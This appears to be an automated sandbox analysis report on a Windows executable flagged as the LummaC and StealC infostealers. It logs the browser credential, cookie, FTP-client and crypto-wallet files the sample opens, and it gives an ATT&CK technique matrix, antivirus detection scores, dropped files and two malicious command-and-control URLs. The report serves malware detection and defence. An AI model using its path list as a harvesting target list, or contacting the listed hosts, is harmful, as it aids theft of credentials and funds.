Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\DUKNXICOZT	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\DUKNXICOZT	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior

Source: Yara match

File source: Process Memory Space: jYd7FUgGZc.exe PID: 7024, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: jYd7FUgGZc.exe PID: 7024, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000008.00000002.1779295957.000000000179E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1691365307.0000000005330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1777958771.0000000000D21000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe PID: 7780, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	223 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	2 Process Injection	12 Software Packing	NTDS	751 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
jYd7FUgGZc.exe	55%	ReversingLabs	Win32.Trojan.StealC
jYd7FUgGZc.exe	67%	Virustotal		Browse
jYd7FUgGZc.exe	100%	Avira	TR/Crypt.XPACK.Gen
jYd7FUgGZc.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://tacitglibbr.biz:443/apiA	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/jd	100%	Avira URL Cloud	malware
